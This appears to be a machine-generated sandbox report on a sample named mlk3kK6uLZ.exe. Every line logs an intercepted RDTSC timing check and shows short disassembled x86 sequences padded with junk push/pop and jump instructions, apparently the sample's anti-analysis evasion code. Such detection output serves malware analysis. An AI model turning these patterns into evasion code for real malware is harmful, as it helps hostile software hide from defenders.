Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 28DCC6 second address: 28DCCF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edi 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2DB62C second address: 2DB636 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F8080B8A776h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2FB248 second address: 2FB24C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2FB24C second address: 2FB25A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2FB25A second address: 2FB264 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F8080FFFC56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2FB264 second address: 2FB289 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F8080B8A77Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F8080B8A77Dh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2FB289 second address: 2FB28D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2DD7C0 second address: 2DD7D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8080B8A783h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2DD7D8 second address: 2DD7E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edi 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2DF81D second address: 2DF822 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2DF822 second address: 2DF828 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2DF8EB second address: 2DF8F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2E075B second address: 2E075F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2FB5C4 second address: 2FB5D9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F8080B8A77Ch 0x00000008 pop edx 0x00000009 pushad 0x0000000a push eax 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2FAF14 second address: 2FAF1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2FAF1B second address: 2FAF21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2FAF21 second address: 2FAF27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2FAF27 second address: 2FAF2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2FC237 second address: 2FC247 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F8080FFFC56h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2FF847 second address: 2FF84B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2FF84B second address: 2FF86E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 ja 00007F8080FFFC5Ah 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F8080FFFC5Ch 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2FF86E second address: 2FF872 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2FF872 second address: 2FF88C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F8080FFFC64h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2C7518 second address: 2C751E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2C751E second address: 2C7522 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2C7900 second address: 2C7919 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8080B8A778h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push ebx 0x0000000d jnc 00007F8080B8A776h 0x00000013 pop ebx 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2C799C second address: 2C79BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080FFFC67h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2C79BB second address: 2C79BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2C79BF second address: 2C79C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2C79C3 second address: 2C7A17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 add dword ptr [esp], 4B80D576h 0x0000000e add dword ptr [ebp+122D18A6h], edi 0x00000014 call 00007F8080B8A779h 0x00000019 jmp 00007F8080B8A787h 0x0000001e push eax 0x0000001f jmp 00007F8080B8A77Dh 0x00000024 mov eax, dword ptr [esp+04h] 0x00000028 je 00007F8080B8A782h 0x0000002e jo 00007F8080B8A77Ch 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2C7B67 second address: 2C7B7D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080FFFC5Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2C7B7D second address: 2C7B82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2C7B82 second address: 2C7B8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F8080FFFC56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2C83AC second address: 2C83B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2C84C5 second address: 2C84CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2C8669 second address: 2C86A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8080B8A77Bh 0x00000009 popad 0x0000000a popad 0x0000000b mov eax, dword ptr [eax] 0x0000000d pushad 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 jg 00007F8080B8A776h 0x00000017 popad 0x00000018 je 00007F8080B8A784h 0x0000001e jmp 00007F8080B8A77Eh 0x00000023 popad 0x00000024 mov dword ptr [esp+04h], eax 0x00000028 push ebx 0x00000029 pushad 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2C86A4 second address: 2C86AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2C8746 second address: 2C877A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop ebx 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e mov dword ptr [ebp+122D287Bh], ebx 0x00000014 lea eax, dword ptr [ebp+1247C168h] 0x0000001a jmp 00007F8080B8A77Dh 0x0000001f push eax 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 jnc 00007F8080B8A776h 0x00000029 push ecx 0x0000002a pop ecx 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2C877A second address: 2C8797 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8080FFFC69h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2C8797 second address: 2C879B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2FFB9B second address: 2FFBA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2FFBA1 second address: 2FFBA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2FFE7E second address: 2FFE84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2FFE84 second address: 2FFE88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 3006C3 second address: 3006DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080FFFC60h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 3006DD second address: 3006FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080B8A781h 0x00000007 jno 00007F8080B8A776h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push esi 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 30367A second address: 30367F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 30A5E9 second address: 30A5ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 30A5ED second address: 30A60C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F8080FFFC66h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 30A60C second address: 30A615 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 30A615 second address: 30A619 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 309675 second address: 309679 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 309679 second address: 309698 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080FFFC5Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F8080FFFC5Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 309698 second address: 3096B8 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F8080B8A776h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F8080B8A780h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 3096B8 second address: 3096BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 3096BC second address: 3096F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jns 00007F8080B8A776h 0x0000000d pop ebx 0x0000000e pushad 0x0000000f je 00007F8080B8A776h 0x00000015 jl 00007F8080B8A776h 0x0000001b push edi 0x0000001c pop edi 0x0000001d push ecx 0x0000001e pop ecx 0x0000001f popad 0x00000020 pushad 0x00000021 jmp 00007F8080B8A781h 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 309E0C second address: 309E15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 309E15 second address: 309E19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 309E19 second address: 309E1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 30DA7E second address: 30DA99 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080B8A786h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 30FD63 second address: 30FD6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 30F8B9 second address: 30F8CD instructions: 0x00000000 rdtsc 0x00000002 jc 00007F8080B8A776h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jp 00007F8080B8A77Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 30F8CD second address: 30F8E3 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F8080FFFC5Ch 0x00000008 jl 00007F8080FFFC56h 0x0000000e je 00007F8080FFFC5Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 30FA61 second address: 30FA81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8080B8A785h 0x00000009 jl 00007F8080B8A776h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 30FA81 second address: 30FA8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F8080FFFC56h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 317775 second address: 317779 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 317779 second address: 31777D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 3178FA second address: 317901 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 317A31 second address: 317A7B instructions: 0x00000000 rdtsc 0x00000002 jg 00007F8080FFFC5Eh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b je 00007F8080FFFC58h 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 jmp 00007F8080FFFC68h 0x00000018 pushad 0x00000019 pushad 0x0000001a popad 0x0000001b jc 00007F8080FFFC56h 0x00000021 push ebx 0x00000022 pop ebx 0x00000023 jc 00007F8080FFFC56h 0x00000029 popad 0x0000002a push ecx 0x0000002b push eax 0x0000002c pop eax 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 317BE9 second address: 317C0F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F8080B8A786h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jo 00007F8080B8A77Eh 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 317C0F second address: 317C20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c popad 0x0000000d push esi 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 317F18 second address: 317F1E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 318055 second address: 31805D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 31805D second address: 318063 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 318063 second address: 318067 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 318067 second address: 31806D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 31C563 second address: 31C594 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080FFFC68h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jng 00007F8080FFFC62h 0x00000012 jno 00007F8080FFFC56h 0x00000018 jns 00007F8080FFFC56h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 31C594 second address: 31C59A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 31C59A second address: 31C59E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2C80CD second address: 2C80E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8080B8A787h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2C80E8 second address: 2C80EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 31D91F second address: 31D953 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F8080B8A788h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F8080B8A783h 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 31F1AE second address: 31F1DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8080FFFC67h 0x00000009 pop edi 0x0000000a jmp 00007F8080FFFC64h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 31F1DE second address: 31F205 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080B8A781h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F8080B8A782h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 31F205 second address: 31F209 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 31F209 second address: 31F20F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 3216C6 second address: 3216CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 3216CA second address: 3216EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F8080B8A788h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d pop eax 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 3216EF second address: 3216F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 3216F6 second address: 32174F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F8080B8A783h 0x0000000a jmp 00007F8080B8A782h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 push edi 0x00000013 pushad 0x00000014 popad 0x00000015 pop edi 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push ecx 0x00000019 push ebx 0x0000001a pushad 0x0000001b popad 0x0000001c jmp 00007F8080B8A77Bh 0x00000021 pop ebx 0x00000022 push edi 0x00000023 jmp 00007F8080B8A783h 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 3219F9 second address: 3219FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 321C7F second address: 321C83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
